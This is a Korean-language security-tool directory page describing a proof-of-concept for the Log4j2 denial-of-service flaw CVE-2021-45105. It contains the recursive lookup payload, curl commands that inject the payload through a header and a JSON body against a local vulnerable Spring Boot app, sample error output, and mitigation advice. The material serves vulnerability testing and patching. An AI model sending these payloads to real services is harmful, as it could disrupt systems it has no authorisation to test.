Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4j_dos_CVE-2021-45105 — CVE-2021-45105(Log4j2 DOS)용 PoC 익스플로잇으로, Spring Boot 웹 애플리케이션을 포함하며 조작된 HTTP 헤더/바디 페이로드를 통해 무한 루프를 시연합니다. | Kitploit
도구/GitHubGitHub/cckuailong/log4j_dos_cve-2021-45105
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubcckuailong/log4j_dos_cve-2021-45105

Log4j_dos_CVE-2021-45105

CVE-2021-45105(Log4j2 DOS)용 PoC 익스플로잇으로, Spring Boot 웹 애플리케이션을 포함하며 조작된 HTTP 헤더/바디 페이로드를 통해 무한 루프를 시연합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
1314년 전아직 검토되지 않음

Log4j2 DOS (CVE-2021-45105)

Poc

root@kitploit:~
${${::-${::-$${::-$}}}}

영향을 받는 버전: 2.0-beta9부터 2.16.0까지의 모든 버전

이 애플리케이션은 CVE-2021-45105에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.

Log4j 2.16.0을 사용합니다.

애플리케이션 실행

실행:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

악용 단계

  • 그런 다음, 아래 명령을 사용하여 악용을 트리거합니다:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 출력에 무한 루프(Infinite loop)가 표시되는 것을 확인할 수 있습니다. 그러나 테스트 중에는 이 DoS가 리소스를 많이 소비하지 않는다는 것을 확인했습니다. 이 무한 루프는 프로그램이 감지하여 오류를 출력하기 때문입니다:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

완화 조치 :

Java 8(이상) 사용자는 릴리스 2.17.0으로 업그레이드해야 합니다.

또는 구성에서 이 문제를 완화할 수 있습니다:

로깅 구성의 PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookup을 Thread Context Map 패턴(%X, %mdc 또는 %MDC)으로 바꾸십시오. 그렇지 않은 경우, 구성에서 HTTP 헤더나 사용자 입력과 같이 애플리케이션 외부 소스에서 비롯된 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookup 참조를 제거하십시오.

참조

https://issues.apache.org/jira/browse/LOG4J2-3230

도구 다운로드